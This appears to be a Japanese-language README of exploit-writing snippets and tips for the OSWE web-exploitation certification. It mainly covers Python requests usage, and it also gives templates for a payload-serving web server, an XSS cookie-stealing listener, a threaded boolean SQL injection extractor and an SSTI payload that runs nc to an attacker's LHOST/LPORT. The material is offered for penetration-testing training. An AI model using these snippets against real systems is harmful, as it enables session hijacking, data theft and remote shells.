OSWEのためのエクスプロイト作成

背景

概要

このリポジトリには、OSWEのラボおよび認定試験でエクスプロイトスクリプトを作成する際に役立つ、便利なスニペットとヒントの一覧が含まれています。

ここに示す例の一部は、特定のコーディング慣行に反するかもしれませんが、最終的な目標はエクスプロイトスクリプトを迅速かつ正確に書くことです。

requestsライブラリの使用に慣れていない場合や、Pythonに不慣れな場合は、コードスニペットセクションが最適な出発点です。それ以外の場合は、再利用可能なコードセクションまたはヒントセクションに進んでください。

目的

この認定資格に関するwrite-ups（解説記事）、レビュー、ノートは数多く存在しますが、エクスプロイトの作成プロセスに特化したリソースはほとんどありません。
エクスプロイトスクリプトの作成は、特にPythonに不慣れな方や、コードを通じてWebアプリケーションとやり取りした経験がほとんどない方にとっては、気が遠くなる作業になり得ます。
脆弱性の特定や試験レポートの作成にかかる時間は大きく変動する可能性がありますが、エクスプロイトスクリプトの開発にかかる時間は、しっかりと習得すれば最小化し、一定に保つことができます。

コードスニペット

開始用テンプレート

import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

便利なインポート

# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

`requests`ライブラリの使用

最もシンプルなHTTPリクエストを送信する

resp_obj = requests.get("https://github.com")

異なるHTTPメソッドを指定する

# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

HTTPレスポンスを読み取る

resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

URL内のクエリ文字列としてデータを送信する（`params`引数を使用）

params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

ボディ内のクエリ文字列としてデータを送信する（`data`引数を使用）

data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

ボディ内のJSONとしてデータを送信する（`json`引数を使用）

data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

ボディ内でファイルを送信する（`files`引数を使用）

files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

HTTPヘッダーを設定する（`headers`引数を使用）

headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

HTTP Cookieを設定する（`cookies`引数を使用）

cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

`3XX`リダイレクトの追跡を無効にする（`allow_redirects`引数を使用）

requests.post("https://github.com/login", allow_redirects=False)

検証されていないHTTPSサーバーとやり取りする（`verify`引数を使用）

# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

HTTPプロキシ経由でリクエストを送信する（`proxies`引数を使用）

proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

`Session`を作成する

session = requests.Session()
session.get("https://github.com")

永続的なCookieを設定する

session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

永続的なヘッダーを設定する

session = requests.Session()
session.headers["Authorization"] = "Basic 123"

トラブルシューティング

Wiresharkを使用してHTTPリクエストでフィルタリングする

Wiresharkを開く
VPNインターフェースを選択する（例：tun0）
フィルターバーにhttpと入力する。

HTTPリクエストの内容を出力する

data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

HTTPリクエストをBurp Suite経由でプロキシして検査する

Burp Suiteを開く
"Proxy"タブに移動し、"Intercept"を"On"に設定する。

再利用可能なコード

HTTP経由でファイルを配信する

LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

HTTP Cookieを盗む

LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

SQLインジェクションを高速化する

MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

ヒント

HTTPリクエストのたびに`assert`を使用して健全性チェックを実行する

ウェブシェルをトリガーしようとする前に、実際にアップロードされたかどうかを確認する
認証済み機能をエクスプロイトする前に、認証が成功したかどうかを確認する

例：

# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

各ステップの後に意味のあるメッセージを出力する

開始または完了したアクション、または
取得されたCookie/トークン/ファイル/値

例：

[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

各エクスプロイトステップを独自の関数に分離する

例：

def register():
    pass

def login():
    pass

def rce():
    pass

各関数呼び出しに明示的に渡す必要がないように、グローバルな`Session`オブジェクトを作成する

session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

グローバルな`BASE_URL`文字列を作成し、そこから必要なURLを構築する

BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

`proxies`引数を使用せずにすべてのHTTPリクエストをBurp Suite経由で送信するには、実行時に`HTTP_PROXY` / `HTTPS_PROXY`環境変数を設定する

$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

ペイロードを安全に送信するためにエンコード/デコード方式を適用する

Base64
16進数

ペイロード文字列にシングルクォート（`'`）とダブルクォート（`"`）の両方が含まれる場合は、`"""`を使用して作成する

例：

payload = """This is a '. This is a "."""

マルチスレッドを使用してSQLインジェクションを高速化する

SQLインジェクションの高速化を参照してください。

認証済み機能のエクスプロイトを開発する際は、認証済みユーザーのCookieをハードコードする

特に、認証済みセッションを取得するために、時間のかかるステップを多数実行する必要があった場合に有効です。

例：

session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

ペイロードに波括弧（`{}`）が多すぎる場合は、f-strings（`f""`）や`str.format`の使用を避ける

エスケープするためだけに各波括弧を二重にするのは面倒で、エラーが発生しやすくなります。代わりに単純なプレースホルダーを使用して、.replace()を実行しましょう！

例：

# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)

exploit-writing-for-oswe

人気